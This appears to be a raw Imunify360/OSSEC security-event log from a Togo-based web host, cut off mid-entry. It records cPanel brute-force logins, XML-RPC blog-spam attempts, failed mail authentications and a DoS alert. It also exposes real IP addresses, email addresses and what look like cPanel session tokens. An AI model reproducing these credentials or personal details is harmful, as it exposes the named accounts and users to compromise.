domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:212.119.40.130||TA:212.119.40.130||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.8
country_id: 6252001
description:
205.169.39.8 - - [01/Jul/2026:09:43:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197870&pdata=http%253A%252F%252Fv2.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782899013 HTTP/1.1" 302 0 v2.arse.tg "http://v2.arse.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.8


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.60.157.123
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/assurance-credit-en-afrique-la-kfw-investit-32-millions-de-dollars-dans-atidi/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.60.157.123
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/assurance-credit-en-afrique-la-kfw-investit-32-millions-de-dollars-dans-atidi/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 216.251.143.109
country_id: 6251999
description:
216.251.143.109 - - [01/Jul/2026:09:47:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645145&pdata=https%253A%252F%252Ffbafrica.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782899274 HTTP/2.0" 302 0 fbafrica.com "https://fbafrica.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.251.143.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.166.57
country_id: 2363686
description:
102.64.166.57 - - [01/Jul/2026:09:54:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066068&pdata=https%253A%252F%252Fdgdn-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782899692 HTTP/2.0" 302 0 dgdn-togo.tg "https://dgdn-togo.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.166.57


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6517200c0abd4fbd697d2f80fb01ffb82c2b92c1||Title:a5ycy46kzsy86vy||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.166.57
country_id: 2363686
description:
102.64.166.57 - - [01/Jul/2026:09:56:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328214&pdata=https%253A%252F%252Fdgdn-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782899815 HTTP/2.0" 302 0 dgdn-togo.tg "https://dgdn-togo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.166.57


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 09:57:29 +0000] info [cpaneld] 102.176.254.197 - - "GET /apple-touch-icon-precomposed.png HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:085279b54f8a2dc3d015cc573b34ba96e930bb0d||Title:pp445ia04dtfdkpc||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:794416a38a95fb6b0e56c5e88c3c139be7e11a29||Title:zrg919cl4g8094nw||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.190.105.96
country_id: 3996063
description:
187.190.105.96 - - [01/Jul/2026:09:58:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777242&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-121321tetidm19fat.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782899894 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-121321tetidm19fat.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.190.105.96


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.197.88.129
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/859404050 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.41.161.18
country_id: 286963
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/category/opinion/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 09:59:14 +0000] info [cpaneld] 102.176.254.197 - Bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Bighostingsnbd (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-07-01 09:59:04 +0000] info [cpaneld] 196.171.122.34 NEW mvfxewjz:7qInkH2ZFCZUEK1c address=196.171.122.34,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:248eb6f382f8a9349647bc4ce69de1654416e2ac||Title:p6horqdw9l2fpxw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3d30116af60878dc1cd2a993381e98f08f1eea4f||Title:9hpzrkdq1e4x27k7y||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 10:00:34 +0000] info [cpaneld] 102.176.254.197 - Bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Bighostingsnbd (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:01:28 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44012: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c812d7485500958aa228c4db9e0462defdb339ba||Title:2rg48byrc0rcrj6||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 196.170.65.13
country_id: 2363686
domain: belali.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 26_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 musical_ly_45.7.0 BytedanceWebview/d8a21c6||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 10:01:09 +0000] info [cpaneld] 102.176.254.197 - Bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Bighostingsnbd (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4ad06e918c16d4acb4f618197d23d7ab362d47fc||Title:5fuseo5c6wrht93||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 10:02:30 +0000] info [cpaneld] 102.176.254.197 - Bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Bighostingsnbd (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 10:02:55 +0000] info [cpaneld] 102.176.254.197 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:03:25 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38038: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f4023e841848800263fa8c07290b891706eca293||Title:2g8ws0mmzp7srw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ea0445d1c372ad16efd35332b1030b285d5f9d9||Title:1816zu05wv8ixguh||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:387656a9f5fa9ce252f2908a4e83fec9efdcea94||Title:he6mbklsxfwphnjy||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:05:05 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:51406: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.166
country_id: 3469034
description:
Jul  1 10:06:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a53cb4868d974c28959d2d62acc5c01a6f7d73ff||Title:j34imz3qzmuev8r||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.10.85
country_id: 1269750
description:
Jul  1 10:06:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.10.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 93.88.156.50
country_id: 2658434
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a27bf0dff11ed5649d9fa8094eb6c76bad02c88||Title:\xce\x97 \xce\xb1\xcf\x80\xcf\x8c\xcf\x86\xce\xb1\xcf\x83\xce\xb7 \xcf\x80\xcf\x81\xce\xb9\xce\xbd \xce\xb1\xcf\x80\xcf\x8c \xcf\x84\xce\xbf \xce\xa3\xce\xb1\xce\xb2\xce\xb2\xce\xb1\xcf\x84\xce\xbf\xce\xba\xcf\x8d\xcf\x81\xce\xb9\xce\xb1\xce\xba\xce\xbf||RSV:8.21||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [07/01/2026:10:07:20 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [01/Jul/2026:10:07:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738095&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782900478 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/tde/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:17b218f9ecef8a0728bcee1606e8cf13024a330e||Title:nnw239flc8d0gxd||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.55.246
country_id: 2921044
domain: mail.s2ci.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.s2ci.free.netmaster.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e67bdf4aef515dddc4924b156444cb1074eb861||Title:hz0g1nlkg2nukdtt1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:25aca5d0fabeeeb9ed562ccf53c69afed06bdd50||Title:b8ih664s77u1376||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57605b4b016d533d76682c5a1797db60c1bb67f2||Title:kytjknpzxb2jwrml1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e5fc0cd7130a9ccb2f7fd0bb44b179a3ca0c95e||Title:vxzfw7l6x4bj8pmgv||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.168.26.122
country_id: 2363686
description:
2026-07-01 10:09:33 H=([192.168.10.3]) [196.168.26.122]:62063 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<centif.de@centif.tg> A=dovecot_plain:centif.de@centif.tg rejected RCPT <batebanap@laposte.tg>: Unrouteable address


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:139984a958d921f063c79d050ab43c8bed0fef64||Title:nu1oacosec7bbsnp||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:27f34a3795cbc6cebcd585d6436e88957125a567||Title:z72ftmy12jowx7||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d4e105dc35f886e04053d4740f584aa8b4618a6||Title:a9n88ho72r4bqtt||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.198.249
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/decentralisation-agoe-nyive-1-une-commune-en-pleine-transformation/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [01/Jul/2026:10:11:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184556&pdata=https%253A%252F%252Fderou.tg%252F%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782900678 HTTP/2.0" 302 0 derou.tg "https://derou.tg//" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:90be3b5c2fff5733169cf2f1d389752e8111c132||Title:azxca01bd5k4g0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [01/Jul/2026:10:11:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13342924&pdata=https%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782900696 HTTP/2.0" 302 0 derou.tg "https://derou.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.198.249
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/decentralisation-agoe-nyive-1-une-commune-en-pleine-transformation/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aac93e7b03fc1553cf4a59315ad29495b4e7c28e||Title:36y0173xrqab7cr||RSV:8.21||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - rahim.nadaabi@bawasongroup.com [07/01/2026:10:12:53 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: rahim.nadaabi@bawasongroup.com


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.133.66.246
country_id: 1643084
description:
[2026-07-01 10:12:37 +0000] info [cpaneld] 202.133.66.246 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.129.130
country_id: 2363686
description:
[2026-07-01 10:12:30 +0000] info [cpaneld] 196.168.129.130 NEW waywcbyw:jsM2e8xirs6ldIN8 address=196.168.129.130,app=cpaneld,creator=waywcbyw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b3de4e6778edb1d72617d1370958a9c5ef121b00||Title:pcnx9tj4v6kj93r||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.129.130
country_id: 2363686
description:
[2026-07-01 10:12:19 +0000] info [webmaild] 196.168.129.130 - rahim.nadaabi@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 194.163.131.55
country_id: 3017382
domain: togosem.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a1aea0a51bdff0ed8b870fb61cd3678456ca252b||Title:43ulxbj7khtq0qh||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.228.172.66
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.228.172.66: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:173802afe1c0d96eea1c6f84feb1a9f4b15b5a54||Title:b3bw70xk33heoq||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:daf01cff85de519f39dac0559dc41501666971c6||Title:9jkeice186idrycki||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.5.90.26
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/146360748 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:67a5bda76904a90e7c02c31202930945cef6930f||Title:1pmuq9x783rx91pm5||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f5aa573fdd133ccbad67700f7e7ab3908353fd23||Title:wdp9n3hjmmkprd||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.154
country_id: 2363686
description:
[2026-07-01 10:14:17 +0000] info [cpaneld] 41.207.165.154 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dbc8be819d1bd2672a75364e5f68551be736cd4b||Title:wzrcqmjrud6coq2heb||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.168.26.122
country_id: 2363686
description:
2026-07-01 10:15:10 H=([192.168.10.3]) [196.168.26.122]:62111 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<centif.de@centif.tg> A=dovecot_plain:centif.de@centif.tg rejected RCPT <batebanap@laposte.tg>: Unrouteable address


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:183d2cad8ba05d5dcc0d611633a577f435d7faf8||Title:8ugfy24nh5n4p7||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93c1ebffaf781390939ad2af0469d9b57e0c663b||Title:je86vcdylgw97w5v0n||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
